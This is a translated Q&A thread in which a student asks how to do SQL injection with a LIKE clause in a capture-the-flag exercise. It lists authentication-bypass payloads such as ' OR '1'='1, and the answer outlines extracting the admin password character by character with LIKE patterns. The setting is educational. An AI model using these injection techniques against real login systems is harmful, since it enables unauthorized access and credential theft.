Inyección SQL - Cláusula LIKE

1

Como parte de una asignación de captura de bandera, se supone que debo realizar una inyección SQL utilizando la cláusula LIKE para obtener la bandera. Soy nuevo en esto y he intentado las siguientes inyecciones:

(El nombre de usuario requerido para iniciar sesión es 'admin', por lo que he realizado las siguientes inyecciones en el campo de contraseña)

  1. '; SELECT password FROM users WHERE username LIKE 'admin%'; --
  2. ' OR '1'='1 (ignoré la cláusula LIKE)

También probé variantes de (1) pero todavía estoy atascado.

¿Hay algo que me falta? Cualquier consejo sería apreciado!

PD: no tengo el esquema de la base de datos o el diseño de la tabla

    
pregunta Yash Chowdhary 19.11.2017 - 07:50
fuente

1 respuesta

2

Se supone que debes forzar la contraseña mediante el siguiente algoritmo:

SELECT * FROM users where username = "admin" AND password LIKE "A%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "B%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "C%"; #CORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CA%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CB%"; #INCORRECT

SELECT * FROM users where username = "admin" AND password LIKE "CC%"; #CORRECT

Y así sucesivamente. Puedes escribir un programa python simple que lo haga automáticamente :)

    
respondido por el L00PeR 19.11.2017 - 11:27
fuente

Lea otras preguntas en las etiquetas